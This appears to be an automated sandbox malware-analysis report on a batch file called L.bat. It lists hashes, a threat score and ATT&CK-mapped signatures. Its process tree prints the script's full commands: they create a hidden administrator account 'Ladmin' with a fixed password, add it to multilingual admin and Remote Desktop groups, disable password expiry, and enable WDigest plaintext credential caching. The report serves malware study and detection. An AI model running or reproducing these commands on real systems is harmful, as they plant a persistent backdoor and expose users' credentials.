56c5e9ecaa56ffb3bd60fce5ad2a79e38b9e43587bd626157d38e78711d5b202

Analysis

max time kernel
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/07/2026, 12:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
L.bat
Size 511B
Sample260719-pd42dsds81
SHA256 56c5e9ecaa56ffb3bd60fce5ad2a79e38b9e43587bd626157d38e78711d5b202
MD5 cc60e25350ab4acf192539ff34a4af67
SHA1 e08e4b22801934a0c043d2dc8827014d9f0e947f
SHA512 01768caa728296ba69c4af763b0b7d2964ffc1725993f74fb78991aa74e0e558e5a6c13929a0a3db3b812a537c930cfb26663cb1fee8c6a5bad84211cf53ca43
TLSH
T102F0C0682DE75B4069C245C87FC95E3E1111B402B48C31AF7FD8E346B4C240C9EF60E0
MD5 SHA1 SHA512 TLSH

Score

9^/10

discovery execution lateral_movement persistence

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
4492	net.exe
5588	net1.exe

Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
5052	net1.exe
3300	net.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4748	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001
Runs net.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 3300	4748	cmd.exe	90
PID 3300 wrote to memory of 5052	3300	net.exe	91
PID 4748 wrote to memory of 4516	4748	cmd.exe	92
PID 4516 wrote to memory of 1232	4516	net.exe	93
PID 4748 wrote to memory of 5268	4748	cmd.exe	94
PID 5268 wrote to memory of 3160	5268	net.exe	95
PID 4748 wrote to memory of 1140	4748	cmd.exe	96
PID 1140 wrote to memory of 3480	1140	net.exe	97
PID 4748 wrote to memory of 3596	4748	cmd.exe	98
PID 3596 wrote to memory of 1512	3596	net.exe	99
PID 4748 wrote to memory of 4492	4748	cmd.exe	100
PID 4492 wrote to memory of 5588	4492	net.exe	101
PID 4748 wrote to memory of 3008	4748	cmd.exe	102
PID 3008 wrote to memory of 5816	3008	net.exe	103
PID 4748 wrote to memory of 2912	4748	cmd.exe	104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\L.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Windows\system32\net.exe
  net user Ladmin !!!Sasmin123.. /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Ladmin !!!Sasmin123.. /add
    3⤵
    - Creates a new local user account
    PID:5052
- C:\Windows\system32\net.exe
  net localgroup administrators Ladmin /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4516
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators Ladmin /add
    3⤵
    PID:1232
- C:\Windows\system32\net.exe
  net localgroup Administradores Ladmin /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administradores Ladmin /add
    3⤵
    PID:3160
- C:\Windows\system32\net.exe
  net localgroup Administratoren Ladmin /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administratoren Ladmin /add
    3⤵
    PID:3480
- C:\Windows\system32\net.exe
  net localgroup Administrateurs Ladmin /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3596
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrateurs Ladmin /add
    3⤵
    PID:1512
- C:\Windows\system32\net.exe
  net localgroup "Remote Desktop Users" Ladmin /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup "Remote Desktop Users" Ladmin /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:5588
- C:\Windows\system32\net.exe
  net accounts /maxpwage:unlimited
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 accounts /maxpwage:unlimited
    3⤵
    PID:5816
- C:\Windows\system32\reg.exe
  REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\wdigest" /v UseLogonCredential /t REG_DWORD /d 0x00000001
  2⤵
  PID:2912